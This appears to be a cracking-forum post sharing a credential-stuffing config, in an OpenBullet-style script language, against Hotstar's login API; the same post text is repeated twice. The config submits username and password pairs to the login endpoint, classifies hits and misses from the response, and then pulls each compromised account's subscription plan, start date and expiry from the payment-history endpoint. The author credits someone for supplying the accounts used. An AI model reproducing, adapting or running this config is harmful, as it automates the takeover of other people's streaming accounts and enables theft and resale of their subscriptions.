thanks to @GlennDx
as he provided the accounts i used to make this
[hide]
FUNCTION HMAC SHA256 "" -> VAR "HMAC"
FUNCTION CurrentUnixTime -> VAR "UNIX"
REQUEST POST "https://api.hotstar.com/in/aadhar/v2/web/in/user/login"
CONTENT "{\"isProfileRequired\":false,\"userData\":{\"deviceId\":\"3c27f931-90d9-47df-90dd-e2r3f5c9f7cc\",\"password\":\"<PASS>\",\"username\":\"<USER>\",\"usertype\":\"email\"},\"verification\":{}}"
CONTENTTYPE "application/json"
HEADER "hotstarauth: st=<UNIX>~exp=<UNIX>~acl=/*~hmac=<HMAC>"
HEADER "Referer: https://www.hotstar.com/"
KEYCHECK
KEYCHAIN Failure OR
KEY "<RESPONSECODE>" Contains "401"
KEY "Credentials mismatch"
KEYCHAIN Success OR
KEY "userIdentity"
PARSE "<SOURCE>" JSON "userIdentity" -> VAR "TOKEN"
REQUEST GET "https://api.hotstar.com/in/gringotts/v2/web/in/payment/history"
CONTENTTYPE "application/json"
HEADER "hotstarauth: st=<UNIX>~exp=<UNIX>~acl=/*~hmac=<HMAC>"
HEADER "Origin: https://www.hotstar.com"
HEADER "Referer: https://www.hotstar.com/subscribe/my-account"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
HEADER "userId: <TOKEN>"
PARSE "<SOURCE>" JSON "subscriptionPack" -> CAP "SUBSCRIPTION"
PARSE "<SOURCE>" JSON "startDate" -> CAP "STARTDATE"
PARSE "<SOURCE>" JSON "expiry" -> CAP "EXPIRE"
[/hide]
as he provided the accounts i used to make this
[hide]
FUNCTION HMAC SHA256 "" -> VAR "HMAC"
FUNCTION CurrentUnixTime -> VAR "UNIX"
REQUEST POST "https://api.hotstar.com/in/aadhar/v2/web/in/user/login"
CONTENT "{\"isProfileRequired\":false,\"userData\":{\"deviceId\":\"3c27f931-90d9-47df-90dd-e2r3f5c9f7cc\",\"password\":\"<PASS>\",\"username\":\"<USER>\",\"usertype\":\"email\"},\"verification\":{}}"
CONTENTTYPE "application/json"
HEADER "hotstarauth: st=<UNIX>~exp=<UNIX>~acl=/*~hmac=<HMAC>"
HEADER "Referer: https://www.hotstar.com/"
KEYCHECK
KEYCHAIN Failure OR
KEY "<RESPONSECODE>" Contains "401"
KEY "Credentials mismatch"
KEYCHAIN Success OR
KEY "userIdentity"
PARSE "<SOURCE>" JSON "userIdentity" -> VAR "TOKEN"
REQUEST GET "https://api.hotstar.com/in/gringotts/v2/web/in/payment/history"
CONTENTTYPE "application/json"
HEADER "hotstarauth: st=<UNIX>~exp=<UNIX>~acl=/*~hmac=<HMAC>"
HEADER "Origin: https://www.hotstar.com"
HEADER "Referer: https://www.hotstar.com/subscribe/my-account"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
HEADER "userId: <TOKEN>"
PARSE "<SOURCE>" JSON "subscriptionPack" -> CAP "SUBSCRIPTION"
PARSE "<SOURCE>" JSON "startDate" -> CAP "STARTDATE"
PARSE "<SOURCE>" JSON "expiry" -> CAP "EXPIRE"
[/hide]



